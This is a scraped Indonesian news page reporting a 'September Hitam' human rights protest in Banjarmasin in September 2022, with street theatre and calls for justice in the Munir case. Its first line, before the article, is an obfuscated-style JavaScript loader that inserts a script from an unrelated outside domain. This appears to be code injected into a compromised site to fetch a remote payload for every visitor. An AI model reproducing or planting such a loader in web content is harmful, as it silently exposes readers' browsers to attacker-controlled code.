(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN– September menjadi bulan kelam dalam peta sejarah penegakan hak asasi manusia (HAM) di Indonesia. Mengawali bulan September, aksi menyuarakan kembali ”September HItam” digelar oleh Gerakan Kolektif Kalsel, Kamis (8/9/2022).
Puluhan orang berkumpul di Belakang Hotel A Jalan Bank Rakyat, Kota Banjarmasin, dengan mengenakan pakaian hitam khas kamisan. Mereka mengingatkan kembali serentetan peristiwa yang tercatat cacat dalam pengungkapan permasalahan yang terjadi secara gamblang.
Beberapa peristiwa getir dan penting yang terjadi pada September itu, digambarkan mereka dalam gelaran teatrikal jalanan.
Tanpa mengenakan baju, beberapa anak terlihat diikat badannya dan ditutup mulutnya dengan lakbat. Mereka bergerak seakan-akan berperan menjadi aktivis yang telah dibunuh memperjuangkan HAM.
Baca juga : DPRD Tanbu Sepakati 2 Raperda Penyertaan Modal dan Ketahanan Pangan
“Adegan kepala terbalik itu kita lakukan untuk menggambarkan bahwa hukum di negara kita sangat konyol,” ungkap Rizki, salah seorang peserta Gerakan Kolektif Kalsel.
Mereka menagih kembali janji keadilan oleh negara yang mana sejumlah kasus pun hingga saat ini tetap saja tak pernah menemukan titik terang.
“Contohnya kasus munir kemarin, kita ingin kasus tersebut bisa dinaikkan menjadi kasus pelanggaran ham berat, karena kalau misalnya memang dia dikatagorikan pidana biasa saja, dimana letak keadilannya?” katanya.
“Memang aktor lapangannya sudah tertangkap tapi aktor intelektualnya masih belum tertangkap,” sambungnya.
Baca juga : BINDA Kalsel Sasar Pelajar Percepatan Vaksinasi Dosis Ketiga
Tampak beberapa peserta aksi membawa bingkai foto bergambar tokoh-tokoh yang menjadi korban pelanggaran HAM, seperti Munir. Mereka berdiri untuk menyuarakan pelanggaran tersebut.
Beberapa dari mereka juga membawa poster tulisan kasus-kasus pelanggaran HAM yang dibagikan di lampu merah Jalan Lambung Mangkurat.
Teatrikal jalanan tersebut dilanjutkan dengan orasi dari beberapa perwakilan peserta aksi. Selain berorasi, mereka juga membacakan puisi dan menyanyikan lagu.(Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : cell
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Polisi Air dan Udara (Satpolairud) Polres Banjarmasin mengungkap kasus bisnis ilegal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Lebih sepekan sudah pasca Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK)… Read More
This website uses cookies.